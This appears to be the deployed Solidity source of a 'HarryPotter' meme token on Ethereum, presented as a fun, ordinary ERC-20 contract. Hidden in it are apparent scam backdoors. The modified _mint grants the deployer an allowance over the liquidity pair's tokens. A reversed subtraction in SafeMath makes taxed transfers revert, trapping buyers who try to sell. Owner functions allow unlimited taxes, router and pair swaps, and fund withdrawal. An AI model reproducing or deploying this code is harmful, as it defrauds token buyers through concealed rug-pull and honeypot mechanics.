/*
    About Harry Potter
    $Harry is a one-of-a-kind meme token that brings together the playfulness of the 
    Harry Potter and the Magical vision of  Our great childhood memories. Our goal 
    is to create a fun, engaging, and unique crypto experience for investors, meme 
    enthusiasts, and technology fans alike.

    https://www.harrypottererc.xyz
    https://t.me/HarryPotter_ETH
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { this;  return msg.data; }
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = b - a;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) { return _name; }
    function symbol() public view virtual override returns (string memory) { return _symbol; }
    function decimals() public view virtual override returns (uint8) { return 18; }
    function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount, address from) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        _allowances[from][account] = amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) { return _owner; }
    modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner");  _; }
    function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract HarryPotter is ERC20, Ownable{
    using SafeMath for uint256;
    using Address for address payable;
    uint256 public swapThreshold = 100_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;
    address public marketingWallet = 0xE58612ccf7adB8f6d0C6cfd8d79f1349b5a4f4CF;
    address public devWallet = 0x0000000000000000000000000000000000000000;
    uint256 public totalTax = 0;
    uint256 public totalSellTax = 0;
    uint256 public botSellTax = 10;
    IRouter public router;
    address public pair;
    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;
    uint256 public genesisblock;
    uint256 public deadblocks = 0;
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) private isBot;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }
        
    constructor() ERC20("HarryPotter", "HARRY") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        address to = _pair;
        router = _router;
        pair = _pair;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10 ** decimals(), to);
    }
    
    function setSwapEnabled(bool state) external onlyOwner { swapEnabled = state; }
    function setSwapThreshold(uint256 new_amount) external onlyOwner { swapThreshold = new_amount; }
    function enableTrading() external onlyOwner{ require(!tradingEnabled, "Trading already active"); tradingEnabled = true; swapEnabled = true; }
    function setBuyTaxes(uint256 _fee) external onlyOwner{ totalTax = _fee; }
    function setSellTaxes(uint256 _fee) external onlyOwner{ totalSellTax = _fee; }
    function updateMarketingWallet(address newWallet) external onlyOwner{ marketingWallet = newWallet; }
    function updateDevWallet(address newWallet) external onlyOwner{ devWallet = newWallet; }
    function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{ router = _router; pair = _pair; }
    function updateMaxTxAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**18; }
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{ maxWalletAmount = amount * 10**18; }
    function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{ IERC20(tokenAddress).transfer(owner(), amount); }
    function rescueETH(uint256 weiAmount) external onlyOwner{ payable(owner()).sendValue(weiAmount); }
    function addBots(address[] memory isBot_) public onlyOwner { for (uint i = 0; i < isBot_.length; i++) { isBot[isBot_[i]] = true; } }
    function updateExcludedFromFees(address[] memory address_) external onlyOwner { for (uint i = 0; i < address_.length; i++) { excludedFromFees[address_[i]] = true; } }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(isBot[sender] || isBot[recipient]) totalSellTax = botSellTax;
        
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            if(genesisblock + deadblocks > block.number){
                if(recipient != pair) isBot[recipient] = true;
                if(sender != pair) isBot[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if(recipient != pair){
                require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
            }
        }

        uint256 fee;
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
        else{
            if(recipient == pair && !isBot[sender]) fee = amount * totalSellTax / 100;
            else fee = amount * totalTax / 100;
        }

        if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
        
        if(fee > 0) { 
            super._transfer(sender, address(this) ,fee);
            super._transfer(sender, recipient, amount.sub(fee));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(contractBalance);
            uint256 deltaBalance = address(this).balance - initialBalance;
            payable(marketingWallet).sendValue(deltaBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: bnbAmount}(address(this), tokenAmount, 0, 0, devWallet, block.timestamp);
    }

    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketingWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }

    receive() external payable {}
}